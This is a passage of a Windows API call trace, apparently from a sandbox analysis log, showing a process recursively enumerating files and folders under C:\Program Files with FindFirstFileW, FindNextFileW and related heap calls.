	[0157.925] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.925] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0157.925] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0157.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.926] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0157.926] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40b148c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x19600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1
	[0157.926] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x2f0d0100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1
	[0157.926] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2c1c100, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1
	[0157.926] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3f71b00, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x11f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe", cAlternateFileName="")) returned 1
	[0157.927] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xbefe7b00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe", cAlternateFileName="")) returned 1
	[0157.927] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x4b5c6e00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1
	[0157.927] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x45b35800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1
	[0157.927] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x5fed3600, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1
	[0157.927] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1
	[0157.927] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0
	[0157.927] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0157.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0157.927] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0157.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0157.928] lstrlenW (lpString="C:\\Program Files\\Windows Multimedia Platform") returned 44
	[0157.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Multimedia Platform\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0157.928] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.928] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0157.928] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0157.929] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0157.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0157.929] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0157.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0157.929] lstrlenW (lpString="C:\\Program Files\\Windows NT") returned 27
	[0157.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0157.929] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.929] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1
	[0157.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.929] lstrlenW (lpString="C:\\Program Files\\Windows NT\\Accessories") returned 39
	[0157.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0157.930] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.930] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0157.930] lstrlenW (lpString="C:\\Program Files\\Windows NT\\Accessories\\en-US") returned 45
	[0157.930] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0157.931] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.931] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de44bfc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x788c92ac, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6da5ba00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1
	[0157.931] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de44bfc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x788c92ac, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6da5ba00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0
	[0157.931] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0157.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0157.931] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1
	[0157.931] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65418d00, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x65418d00, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x65418d00, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ca00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1
	[0157.931] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65418d00, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x65418d00, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x65418d00, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ca00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0
	[0157.932] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0157.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.932] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1
	[0157.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.932] lstrlenW (lpString="C:\\Program Files\\Windows NT\\TableTextService") returned 44
	[0157.932] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0157.934] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.934] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0157.934] lstrlenW (lpString="C:\\Program Files\\Windows NT\\TableTextService\\en-US") returned 50
	[0157.934] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0157.934] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.934] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdfcde00, ftLastWriteTime.dwHighDateTime=0x1d29fad, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1
	[0157.934] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdfcde00, ftLastWriteTime.dwHighDateTime=0x1d29fad, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0
	[0157.934] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0157.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0157.935] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1
	[0157.935] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689bee27, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x689bee27, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x689bee27, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x376a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1
